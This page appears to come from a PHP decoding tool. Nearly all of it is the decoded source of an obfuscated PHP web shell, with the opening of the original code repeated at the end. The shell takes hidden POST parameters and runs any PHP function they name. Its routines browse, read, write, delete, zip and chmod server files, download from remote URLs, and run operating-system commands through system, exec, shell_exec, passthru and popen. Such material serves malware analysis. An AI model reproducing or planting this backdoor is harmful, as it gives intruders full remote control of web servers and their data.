Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php header("Content-Encoding: identity"); call_user_func(function () { $localvar ..
Decoded Output download
<?php
header("Content-Encoding: identity");
call_user_func(function () {
$localvar = new \stdClass();
$localvar->var = new \stdClass();
$localvar->function = new \stdClass();
$localvar->function->list = new \stdClass();
$localvar->function->lastCalledName = "";
$localvar->logger = [];
$localvar->return = [];
$localvar->sLoader = true;
$localvar->modules = [];
$locvar = function () use ($localvar) {
$ooo = func_num_args();
$ooO = func_get_args();
$oo0 = array_shift($ooO);
$oOo = array_shift($ooO);
if ($ooo === 0) {
return $localvar;
} elseif ($ooo === 1 && is_array($oo0)) {
$oOO = $localvar;
foreach ($oo0 as $oOo) {
if ($oOO === null) {
break;
}
if (property_exists($oOO, $oOo)) {
$oOO = $oOO->{$oOo};
} elseif (is_array($oOO) && array_key_exists($oOo, $oOO)) {
$oOO = $oOO[$oOo];
} else {
$oOO = null;
}
}
return $oOO;
} elseif ($ooo === 1 && !is_array($oo0)) {
if (property_exists($localvar->var, $oo0)) {
return $localvar->var->{$oo0};
}
} elseif ($ooo === 2) {
if (is_string($oo0)) {
return $localvar->var->{$oo0} = $oOo;
}
}
return null;
};
$create_function = function () use ($localvar) {
$oO0 = $localvar->function->list;
$ooO = func_get_args();
$oo0 = array_shift($ooO);
$o0o = array_shift($ooO);
if (is_string($oo0) && is_callable($o0o)) {
$oO0->{$oo0} = $o0o;
}
};
$call_function = function () use ($localvar) {
$oO0 = $localvar->function->list;
$ooO = func_get_args();
if (count($ooO) === 1 && is_array($ooO[0])) {
$ooO = $ooO[0];
}
$o0O = array_shift($ooO);
$oo0 = array_shift($ooO);
if ($o0O === true || (bool) $o0O === true) {
if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) {
$localvar->function->lastCalledName = $oo0;
return call_user_func_array($oO0->{$oo0}, $ooO);
}
} else {
if (function_exists($oo0) && is_callable($oo0)) {
return call_user_func_array($oo0, $ooO);
}
}
return null;
};
$reserved = null;
$create_function("III", function () {
return 0.1;
});
$create_function("IIl", function () use ($localvar, $call_function) {
if (isset($_POST["__pwd"]) && isset($_POST["__fcn"])) {
$call_function(
false,
"ini_set",
"log_errors",
0
);
$call_function(
false,
"set_error_handler",
function ($o00, $oooo, $oooO, $ooo0) use (
$localvar,
$call_function
) {
$ooOo = new \stdClass();
$ooOo->typ = "php";
$ooOo->num = $o00;
$ooOo->str = $oooo;
$ooOo->file = $oooO;
$ooOo->line = $ooo0;
$localvar->logger[] = $ooOo;
}
);
$ooOO = $_POST["__fcn"];
if (isset($ooOO) && is_array($ooOO)) {
$call_function(
false,
"ini_set",
"memory_limit",
-1
);
$call_function(
false,
"set_time_limit",
0
);
foreach ($ooOO as $id => $ooO0) {
$o0O = ($oo0o = $call_function(
false,
"filter_var",
$ooO0["islocal"],
FILTER_VALIDATE_BOOLEAN
))
? $oo0o
: false;
$oo0 = $ooO0["name"];
$ooO =
isset($ooO0["args"]) && is_array($ooO0["args"])
? $ooO0["args"]
: [];
$localvar->return[$id] = $call_function(
array_merge([$o0O, $oo0], $ooO)
);
}
}
}
});
$create_function("II1", function () use ($localvar, $call_function) {
//ob_clean();
print json_encode([
"log" => $localvar->logger,
"rtn" => $localvar->return,
]);
exit();
});
$create_function("IlI", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_file($oo0O) === false) {
return null;
}
include_once $oo0O;
return true;
});
$create_function("Ill", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oo00 = array_shift($ooO);
if (is_file($oo0O) === false) {
return null;
}
include_once $oo0O;
return $call_function(true, $oo00);
});
$create_function("Il1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
if (
$call_function(
false,
"class_exists",
"DirectoryIterator"
)
) {
$oOoo = [];
foreach (new \DirectoryIterator($oo0O) as $oOoO) {
$oOoo[] = $oOoO->getFilename();
}
return $oOoo;
}
return null;
});
$create_function("I1I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
if (
$dh = $call_function(false, "opendir", $oo0O)
) {
$oOoo = [];
while (
($oOoO = $call_function(
false,
"readdir",
$dh
)) !== false &&
$oOoO !== null
) {
$oOoo[] = $oOoO;
}
$call_function(false, "closedir", $dh);
return $oOoo;
}
return null;
});
$create_function("I1l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
if (
($oOoo = $call_function(
false,
"scandir",
$oo0O
)) !== null &&
is_array($oOoo) &&
count($oOoo) > 0
) {
return $oOoo;
}
return null;
});
$create_function("I11", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
foreach (["Il1", "I1I", "I1l"] as $oOo) {
if (
($oOoo = $call_function(true, $oOo, $oo0O)) !== null &&
is_array($oOoo) &&
count($oOoo) > 0
) {
return $oOoo;
}
}
return null;
});
$create_function("IIII", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
$oOo0 = $call_function(true, "I11", $oo0O);
$oOoo = new stdClass();
$oOoo->obj = new stdClass();
$oOoo->obj->head = [];
$oOoo->obj->dir = [];
$oOoo->obj->file = [];
if (is_array($oOo0)) {
$oOoo->path = realpath($oo0O);
$oOoo->is_r =
$call_function(
false,
"is_readable",
$oo0O
) === true
? true
: false;
$oOoo->is_w =
$call_function(
false,
"is_writable",
$oo0O
) === true
? true
: false;
$oOoo->chm =
($ch = $call_function(
false,
"fileperms",
$oo0O
)) !== null
? $ch
: false;
$oOOo = function ($oOOO, $oo0O) use ($call_function) {
$oOOO->size = is_dir($oo0O) === false ? filesize($oo0O) : 0;
$oOOO->is_r =
$call_function(
false,
"is_readable",
$oo0O
) === true
? true
: false;
$oOOO->is_w =
$call_function(
false,
"is_writable",
$oo0O
) === true
? true
: false;
$oOOO->chm =
($ch = $call_function(
false,
"fileperms",
$oo0O
)) !== null
? $ch
: false;
$oOOO->owri =
($ow = $call_function(
false,
"fileowner",
$oo0O
)) !== null
? $ow
: false;
$oOOO->grpi =
($gr = $call_function(
false,
"filegroup",
$oo0O
)) !== null
? $gr
: false;
$oOOO->owr =
($ow = $call_function(
false,
"posix_getpwuid",
$ow
)) !== null
? $ow
: false;
$oOOO->grp =
($gr = $call_function(
false,
"posix_getgrgid",
$gr
)) !== null
? $gr
: false;
$oOOO->time = new stdClass();
$oOOO->time->c =
($tm = $call_function(
false,
"filectime",
$oo0O
)) !== null
? $tm
: false;
$oOOO->time->a =
($tm = $call_function(
false,
"fileatime",
$oo0O
)) !== null
? $tm
: false;
$oOOO->time->m =
($tm = $call_function(
false,
"filemtime",
$oo0O
)) !== null
? $tm
: false;
};
foreach ($oOo0 as $oOO0) {
if ($oOO0 === ".") {
continue;
}
$oO0o = $oOoo->path . DIRECTORY_SEPARATOR . $oOO0;
$oO0O = $oOO0 === "." || $oOO0 === "..";
$oO00 = $oO0O || is_dir($oO0o) ? true : false;
$o0oo = false;
$o0oO = false;
if ($oO00 === false) {
if (
($o0o0 = $call_function(true, "IIIl", $oO0o)) !==
null &&
$o0o0 !== false
) {
$o0oo = $o0o0;
$o0oO = is_dir($o0o0);
}
}
$oOOO = new stdClass();
$oOOO->name = $oOO0;
$oOOo($oOOO, $oO0o);
if ($o0oo !== false) {
$oOOO->lnk = new stdClass();
$oOOO->lnk->path = $o0oo;
$oOOO->lnk->isdir = $o0oO;
$oOOo($oOOO->lnk, $o0oo);
}
if ($oO0O) {
$oOoo->obj->head[] = $oOOO;
} elseif ($oO00 || ($o0oo !== false && $o0oO === true)) {
$oOoo->obj->dir[] = $oOOO;
} else {
$oOoo->obj->file[] = $oOOO;
}
}
}
return $oOoo;
});
$create_function("III1", function () use ($localvar, $call_function) {
if (func_num_args() < 1) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_string($oo0O) || strlen($oo0O) === 0) {
return null;
}
if (
!is_file($oo0O) &&
(($oo0o = $call_function(
false,
"filter_var",
$oo0O,
FILTER_VALIDATE_URL
)) === null ||
$oo0o === false)
) {
return null;
}
if (
($oOO0 = $call_function(
array_merge(
[
false,
"file_get_contents",
],
func_get_args()
)
)) !== null &&
$oOO0 !== false
) {
return $oOO0;
}
return null;
});
$create_function("IIlI", function () use ($localvar, $call_function) {
if (
($oOO0 = $call_function(
array_merge([true, "III1"], func_get_args())
)) !== null &&
$oOO0 !== false
) {
return $call_function(
false,
"base64_encode",
$oOO0
);
}
return null;
});
$create_function("IIll", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir(dirname($oo0O))) {
$call_function(true, "IIl1", dirname($oo0O));
}
return $call_function(
array_merge(
[
false,
"file_put_contents",
],
func_get_args()
)
);
});
$create_function("II1I", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$o0Oo = array_shift($ooO);
if (
($o0Oo = $call_function(
false,
"base64_decode",
$o0Oo
)) !== null &&
$o0Oo !== false
) {
return $call_function(
array_merge([true, "IIll", $oo0O, $o0Oo], $ooO)
);
}
return null;
});
$create_function("II1l", function () use ($localvar, $call_function) {
if (func_num_args() < 1) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (
($o0OO = $call_function(
false,
"fopen",
$oo0O,
"r"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$o0Oo = fread($o0OO, filesize($oo0O));
fclose($o0OO);
return $o0Oo;
}
return null;
});
$create_function("II11", function () use ($localvar, $call_function) {
if (func_num_args() < 1) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (
($oOO0 = $call_function(true, "II1l", $oo0O)) !== null &&
$oOO0 !== false
) {
return $call_function(
false,
"base64_encode",
$oOO0
);
}
return null;
});
$create_function("IlII", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$o0Oo = array_shift($ooO);
$o0O0 = array_shift($ooO);
if (
($o0OO = $call_function(
false,
"fopen",
$oo0O,
true === $o0O0 ? "a" : "w"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$o00o = fwrite($o0OO, $o0Oo);
fclose($o0OO);
return $o00o;
}
return null;
});
$create_function("IlIl", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$o0Oo = array_shift($ooO);
if (
($o0Oo = $call_function(
false,
"base64_decode",
$o0Oo
)) !== null &&
$o0Oo !== false
) {
return $call_function(
array_merge([true, "IlII", $oo0O, $o0Oo], $ooO)
);
}
return null;
});
$create_function("IIl1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return $call_function(
array_merge([false, "mkdir", $oo0O], $ooO)
);
}
return null;
});
$create_function("IlI1", function () use ($localvar, $call_function) {
if (func_num_args() !== 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_dir($oo0O) || is_file($oo0O)) {
return $call_function(
array_merge([false, "chmod", $oo0O], $ooO)
);
}
return null;
});
$create_function("IllI", function () use ($localvar, $call_function) {
if (func_num_args() === 0) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_dir($oo0O) || is_file($oo0O)) {
return $call_function(
array_merge([false, "touch", $oo0O], $ooO)
);
}
return null;
});
$create_function("Illl", function () use ($localvar, $call_function) {
if (func_num_args() === 0) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (file_exists($oo0O) === false) {
return null;
}
if (is_dir($oo0O)) {
$oOo0 = $call_function(true, "I11", $oo0O);
if (is_array($oOo0)) {
$oOo0 = array_diff($oOo0, [".", ".."]);
foreach ($oOo0 as $oOO0) {
$oOO0 = $oo0O . DIRECTORY_SEPARATOR . $oOO0;
$call_function(true, "Illl", $oOO0);
}
}
return $call_function(false, "rmdir", $oo0O);
}
return $call_function(false, "unlink", $oo0O);
});
$create_function("Ill1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$o00O = array_shift($ooO);
$o000 = array_shift($ooO);
$ooooo = $call_function(
false,
"filter_var",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
if (file_exists($o00O) === false) {
return null;
}
if (realpath($o00O) === realpath($o000)) {
return null;
}
$ooooO = pathinfo($o000, PATHINFO_DIRNAME);
if (!is_dir($ooooO)) {
$call_function(true, "IIl1", $ooooO, 0777, true);
}
if ($ooooo === true && file_exists($o000)) {
$call_function(true, "Illl", $o000);
}
if (is_dir($o00O)) {
if (!is_dir($o000)) {
return $call_function(
false,
"rename",
$o00O,
$o000
);
}
} else {
if (!is_file($o000)) {
return $call_function(
false,
"rename",
$o00O,
$o000
);
}
}
return null;
});
$create_function("Il1I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oooo0 = array_shift($ooO);
$oooOo = array_shift($ooO);
$ooooo = array_shift($ooO);
$o00O = $oo0O . DIRECTORY_SEPARATOR . $oooo0;
$o000 = $oo0O . DIRECTORY_SEPARATOR . $oooOo;
return $call_function(true, "Ill1", $o00O, $o000, $ooooo);
});
$create_function("Il1l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oooOO = array_shift($ooO);
$to = array_shift($ooO);
$oo0 = array_shift($ooO);
$ooooo = array_shift($ooO);
$o00O = $oooOO . DIRECTORY_SEPARATOR . $oo0;
$o000 = $to . DIRECTORY_SEPARATOR . $oo0;
return $call_function(true, "Ill1", $o00O, $o000, $ooooo);
});
$create_function("Il11", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oooOO = array_shift($ooO);
$to = array_shift($ooO);
$oo0 = array_shift($ooO);
$ooooo = $call_function(
false,
"filter_var",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
$oo0O = $oooOO . DIRECTORY_SEPARATOR . $oo0;
$o000 = $to . DIRECTORY_SEPARATOR . $oo0;
if (file_exists($oo0O) === false) {
return null;
}
if (realpath($oooOO) === realpath($to)) {
return null;
}
if ($ooooo === true && file_exists($o000)) {
$call_function(true, "Illl", $o000);
}
if (is_dir($oo0O)) {
if (!is_dir($o000)) {
$oOo0 = $call_function(true, "I11", $oo0O);
$call_function(true, "IIl1", $o000);
if (is_array($oOo0)) {
$oOo0 = array_diff($oOo0, [".", ".."]);
foreach ($oOo0 as $oOO0) {
$call_function(true, "Il11", $oo0O, $o000, $oOO0);
}
}
return true;
}
} else {
if (!is_file($o000)) {
return $call_function(false, "copy", $oo0O, $o000);
}
}
return null;
});
$create_function("I1II", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
return $call_function(true, "IIIl", $oo0O) !== false;
});
$create_function("IIIl", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) {
return $o0o0;
} elseif (
($oooO0 = pathinfo($oo0O, PATHINFO_EXTENSION)) &&
strtolower($oooO0) === "lnk"
) {
return $call_function(true, "I1Il", $oo0O);
}
return false;
});
$create_function("I1Il", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!file_exists($oo0O)) {
return false;
}
if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) {
return $o0o0;
}
if (
($o0OO = $call_function(
false,
"fopen",
$oo0O,
"rb"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$ooo0o = [];
while (!feof($o0OO)) {
$ooo0o[] = fread($o0OO, 1);
}
fclose($o0OO);
if (count($ooo0o) < 20) {
return false;
}
if ($ooo0o[0] !== "L") {
return false;
}
if (
ord($ooo0o[4]) !== 0x01 ||
ord($ooo0o[5]) !== 0x14 ||
ord($ooo0o[6]) !== 0x02 ||
ord($ooo0o[7]) !== 0x00 ||
ord($ooo0o[8]) !== 0x00 ||
ord($ooo0o[9]) !== 0x00 ||
ord($ooo0o[10]) !== 0x00 ||
ord($ooo0o[11]) !== 0x00 ||
ord($ooo0o[12]) !== 0xc0 ||
ord($ooo0o[13]) !== 0x00 ||
ord($ooo0o[14]) !== 0x00 ||
ord($ooo0o[15]) !== 0x00 ||
ord($ooo0o[16]) !== 0x00 ||
ord($ooo0o[17]) !== 0x00 ||
ord($ooo0o[18]) !== 0x00 ||
ord($ooo0o[19]) !== 0x46
) {
return false;
}
$i = 20;
if (count($ooo0o) < $i + 4) {
return false;
}
$ooo0O = ord($ooo0o[$i]);
$ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 8);
$ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 16);
$ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 24);
$ooo00 = $ooo0O & 0x00000001 ? true : false;
$ooOoo = $ooo0O & 0x00000002 ? true : false;
if (!$ooOoo) {
return false;
}
if ($ooo00) {
$i = 76;
if (count($ooo0o) < $i + 2) {
return false;
}
$a = ord($ooo0o[$i]);
$a = $a | (ord($ooo0o[++$i]) << 8);
}
$i = 78 + 4 + $a;
if (count($ooo0o) < $i + 4) {
return false;
}
$b = ord($ooo0o[$i]);
$b = $b | (ord($ooo0o[++$i]) << 8);
$b = $b | (ord($ooo0o[++$i]) << 16);
$b = $b | (ord($ooo0o[++$i]) << 24);
$i = 78 + $a + $b;
if (count($ooo0o) < $i + 4) {
return false;
}
$c = ord($ooo0o[$i]);
$c = $c | (ord($ooo0o[++$i]) << 8);
$c = $c | (ord($ooo0o[++$i]) << 16);
$c = $c | (ord($ooo0o[++$i]) << 24);
$i = 78 + $a + $b + $c;
if (count($ooo0o) < $i + 1) {
return false;
}
$ooOoO = "";
for (; $i < count($ooo0o); ++$i) {
if (!ord($ooo0o[$i])) {
break;
}
$ooOoO .= $ooo0o[$i];
}
if (empty($ooOoO)) {
return false;
}
return $ooOoO;
}
return false;
});
$create_function("I1I1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$ooOo0 = array_shift($ooO);
if (
($ch = $call_function(
false,
"curl_init"
)) !== null &&
$ch !== false
) {
$ooOOo = "";
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_URL,
$ooOo0
);
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_SSL_VERIFYPEER,
false
);
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_FOLLOWLOCATION,
true
);
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_RETURNTRANSFER,
1
);
$ooOOo = $call_function(
false,
"curl_exec",
$ch
);
$call_function(
false,
"curl_close",
$ch
);
return $ooOOo;
}
return null;
});
$create_function("I1lI", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$ooOo0 = array_shift($ooO);
$oo0O = array_shift($ooO);
if (
($ch = $call_function(
false,
"curl_init"
)) !== null &&
$ch !== false &&
($o0OO = $call_function(
false,
"fopen",
$oo0O,
"w"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_URL,
$ooOo0
);
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_FILE,
$o0OO
);
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_SSL_VERIFYPEER,
false
);
$call_function(
false,
"curl_setopt",
$ch,
CURLOPT_FOLLOWLOCATION,
true
);
$ooOOo = $call_function(
false,
"curl_exec",
$ch
);
$call_function(
false,
"curl_close",
$ch
);
return $ooOOo && fclose($o0OO);
}
return null;
});
$create_function("I1ll", function () use ($localvar, $call_function) {});
$create_function("I1l1", function () use ($localvar, $call_function) {
if (
($ooOOO = $call_function(
false,
"ob_start"
)) !== null &&
$ooOOO !== false
) {
$call_function(
array_merge(
[false, "phpinfo"],
func_get_args()
)
);
$o0Oo = $call_function(
false,
"ob_get_contents"
);
$call_function(
false,
"ob_get_clean"
);
return $o0Oo;
}
return null;
});
$create_function("I11I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$o0O = $call_function(
false,
"filter_var",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
$oo0 = array_shift($ooO);
if ($o0O === true) {
if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) {
return true;
}
} else {
if (function_exists($oo0) && is_callable($oo0)) {
return true;
}
}
return false;
});
$create_function("I11l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$o0O = $call_function(
false,
"filter_var",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
$o0o = array_shift($ooO);
if (is_array($o0o)) {
$o0o = $call_function($o0o);
}
if (is_string($o0o)) {
foreach ($ooO as &$ooOO0) {
if (is_array($ooOO0)) {
$ooOO0 = $call_function($ooOO0);
}
}
return $call_function(array_merge([$o0O, $o0o], $ooO));
}
return null;
});
$create_function("I111", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$ooO0o = array_shift($ooO);
if (is_string($ooO0o) === false || strlen($ooO0o) === 0) {
return null;
}
$ooO0O = "";
foreach (str_split($ooO0o) as $ooO00) {
$oo0oo = ord($ooO00);
if ($oo0oo >= 33 && $oo0oo <= 126) {
$ooO0O .= chr(33 + (($oo0oo + 14) % 94));
} else {
$ooO0O .= chr($oo0oo);
}
}
return $ooO0O;
});
$create_function("IIIII", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0 = array_shift($ooO);
if (
$call_function(
false,
"class_exists",
$oo0
)
) {
try {
return (new \ReflectionClass($oo0))->newInstanceArgs($ooO);
} catch (Exception $_) {
}
}
return null;
});
$create_function("IIIIl", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oo0oO = array_shift($ooO);
$oo0o0 = array_shift($ooO);
if (is_dir($oo0O) === false) {
return null;
}
if (
($oo0Oo = $call_function(
true,
"IIIII",
"RecursiveDirectoryIterator",
$oo0O,
$oo0oO
)) !== null &&
$oo0Oo !== false &&
($oo0OO = $call_function(
true,
"IIIII",
"RecursiveIteratorIterator",
$oo0Oo,
$oo0o0
)) !== null &&
$oo0OO !== false
) {
return $oo0OO;
}
return null;
});
$create_function("IIII1", function () use ($localvar, $call_function) {
return null;
});
$create_function("IIIlI", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_dir($oo0O) === false) {
return null;
}
if (
($oo0OO = $call_function(
true,
"IIIIl",
$oo0O,
RecursiveDirectoryIterator::SKIP_DOTS,
RecursiveIteratorIterator::SELF_FIRST
)) !== null &&
$oo0OO !== false
) {
$oo0O0 = [];
foreach ($oo0OO as $oo00o) {
$ooOo = new \stdClass();
$ooOo->path = realpath($oo00o);
$ooOo->isDir = $oo00o->isDir();
$oo0O0[] = $ooOo;
}
return $oo0O0;
}
return null;
});
$create_function("IIIll", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oo00O = array_shift($ooO);
if (is_dir($oo0O) === false) {
return null;
}
if (
($oo0OO = $call_function(
true,
"IIIIl",
$oo0O,
RecursiveDirectoryIterator::SKIP_DOTS,
RecursiveIteratorIterator::SELF_FIRST
)) !== null &&
$oo0OO !== false &&
($oo000 = $call_function(
true,
"IIIII",
"RegexIterator",
$oo0OO,
$oo00O
)) !== null &&
$oo000 !== false
) {
$oo0O0 = [];
foreach ($oo000 as $oo00o) {
$ooOo = new \stdClass();
$ooOo->path = realpath($oo00o);
$ooOo->isDir = $oo00o->isDir();
$oo0O0[] = $ooOo;
}
return $oo0O0;
}
return null;
});
$create_function("IIIl1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oOo0 = array_shift($ooO);
$oOooo = array_shift($ooO);
if (
is_dir($oo0O) === false ||
is_array($oOo0) === false ||
is_dir($oOooo) === false
) {
return null;
}
$oOo0 = array_map(function ($v) use ($oo0O, $call_function) {
$ooOo = new \stdClass();
$ooOo->name = $v;
$ooOo->path = realpath($oo0O . DIRECTORY_SEPARATOR . $v);
return $ooOo;
}, $oOo0);
$oOo0 = array_filter($oOo0, function ($v) use ($oo0O, $call_function) {
return file_exists($v->path);
});
if (count($oOo0) === 0) {
return null;
}
if (
($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null &&
$oOooO !== false
) {
$oOoo0 = $oOooo . DIRECTORY_SEPARATOR . date("d-m-Y-B") . ".zip";
if ($oOooO->open($oOoo0, ZIPARCHIVE::CREATE) !== false) {
foreach ($oOo0 as $oOoOo) {
if (is_dir($oOoOo->path)) {
if (
($oo0OO = $call_function(
true,
"IIIIl",
$oOoOo->path,
RecursiveDirectoryIterator::SKIP_DOTS,
RecursiveIteratorIterator::SELF_FIRST
)) !== null &&
$oo0OO !== false
) {
foreach ($oo0OO as $oo00o) {
if (is_dir($oo00o)) {
$oOooO->addEmptyDir(
str_replace(
$oOoOo->path,
$oOoOo->name,
$oo00o
)
);
} else {
$oOooO->addFile(
$oo00o,
str_replace(
$oOoOo->path,
$oOoOo->name,
$oo00o
)
);
}
}
}
} else {
$oOooO->addFile($oOoOo->path, $oOoOo->name);
}
}
return $oOooO->close();
}
}
return null;
});
$create_function("III1I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oOoOO = array_shift($ooO);
$oOoO0 = array_shift($ooO);
$oOoO0 = realpath(is_string($oOoO0) ? $oOoO0 : dirname($oOoOO));
if (is_file($oOoOO) === false || is_dir($oOoO0) === false) {
return null;
}
if (
($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null &&
$oOooO !== false
) {
if ($oOooO->open($oOoOO) !== false) {
$oOo0o = $oOooO->extractTo($oOoO0);
$oOooO->close();
return $oOo0o;
}
}
return null;
});
$create_function("III1l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oOo0O = array_shift($ooO);
if (!is_string($oOo0O) || strlen($oOo0O) === 0) {
return null;
}
if (
$call_function(true, "I11I", false, "system") &&
($ooOOO = $call_function(
false,
"ob_start"
)) !== null &&
$ooOOO !== false
) {
$call_function(false, "system", $oOo0O);
$oOo00 = $call_function(
false,
"ob_get_contents"
);
$call_function(
false,
"ob_get_clean"
);
if (!empty($oOo00)) {
return utf8_encode($oOo00);
}
}
if (
$call_function([false, "exec", $oOo0O, &$oOo00]) &&
is_array($oOo00) &&
count($oOo00) > 0
) {
return implode(PHP_EOL, $oOo00);
}
if (
($oOo00 = $call_function(
false,
"shell_exec",
$oOo0O
)) !== null &&
$oOo00 !== false
) {
if (!empty($oOo00)) {
return $oOo00;
}
}
if (
$call_function(
true,
"I11I",
false,
"passthru"
) &&
($ooOOO = $call_function(
false,
"ob_start"
)) !== null &&
$ooOOO !== false
) {
$call_function(false, "passthru", $oOo0O);
$oOo00 = $call_function(
false,
"ob_get_contents"
);
$call_function(
false,
"ob_get_clean"
);
if (!empty($oOo00)) {
return $oOo00;
}
} elseif (
($oOOoo = $call_function(
false,
"popen",
$oOo0O . " 2>&1",
"r"
)) !== null &&
$oOOoo !== false &&
is_resource($oOOoo)
) {
$oOo00 = "";
while (!feof($oOOoo)) {
$oOo00 .= utf8_encode(fread($oOOoo, 2096));
}
pclose($oOOoo);
if (!empty($oOo00)) {
return $oOo00;
}
}
return null;
});
$create_function("III11", function () use ($localvar, $call_function) {
if (strlen($_SERVER["DOCUMENT_ROOT"])) {
return $_SERVER["DOCUMENT_ROOT"];
} elseif (
strlen($_SERVER["SCRIPT_FILENAME"]) &&
strlen($_SERVER["SCRIPT_NAME"])
) {
return substr(
$_SERVER["SCRIPT_FILENAME"],
0,
-strlen($_SERVER["SCRIPT_NAME"])
);
} elseif (strlen($_SERVER["PWD"])) {
return $_SERVER["PWD"];
}
return "./";
});
$create_function("IIlII", function () use ($localvar, $call_function) {
if (isset($_SERVER["SERVER_ADDR"])) {
return $_SERVER["SERVER_ADDR"];
} elseif (isset($_SERVER["LOCAL_ADDR"])) {
return $_SERVER["LOCAL_ADDR"];
}
return null;
});
$create_function("IIlIl", function () use ($localvar, $call_function) {
if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) {
return $_SERVER["HTTP_CF_CONNECTING_IP"];
} elseif (isset($_SERVER["REMOTE_ADDR"])) {
return $_SERVER["REMOTE_ADDR"];
}
return null;
});
$call_function(true, "IIl");
});
?>
Did this file decode correctly?
Original Code
<?php
header("Content-Encoding: identity");
call_user_func(function () {
$localvar = new \stdClass();
$localvar->var = new \stdClass();
$localvar->function = new \stdClass();
$localvar->function->list = new \stdClass();
$localvar->function->lastCalledName = "";
$localvar->logger = [];
$localvar->return = [];
$localvar->sLoader = true;
$localvar->modules = [];
$locvar = function () use ($localvar) {
$ooo = func_num_args();
$ooO = func_get_args();
$oo0 = array_shift($ooO);
$oOo = array_shift($ooO);
if ($ooo === 0) {
return $localvar;
} elseif ($ooo === 1 && is_array($oo0)) {
$oOO = $localvar;
foreach ($oo0 as $oOo) {
if ($oOO === null) {
break;
}
if (property_exists($oOO, $oOo)) {
$oOO = $oOO->{$oOo};
} elseif (is_array($oOO) && array_key_exists($oOo, $oOO)) {
$oOO = $oOO[$oOo];
} else {
$oOO = null;
}
}
return $oOO;
} elseif ($ooo === 1 && !is_array($oo0)) {
if (property_exists($localvar->var, $oo0)) {
return $localvar->var->{$oo0};
}
} elseif ($ooo === 2) {
if (is_string($oo0)) {
return $localvar->var->{$oo0} = $oOo;
}
}
return null;
};
$create_function = function () use ($localvar) {
$oO0 = $localvar->function->list;
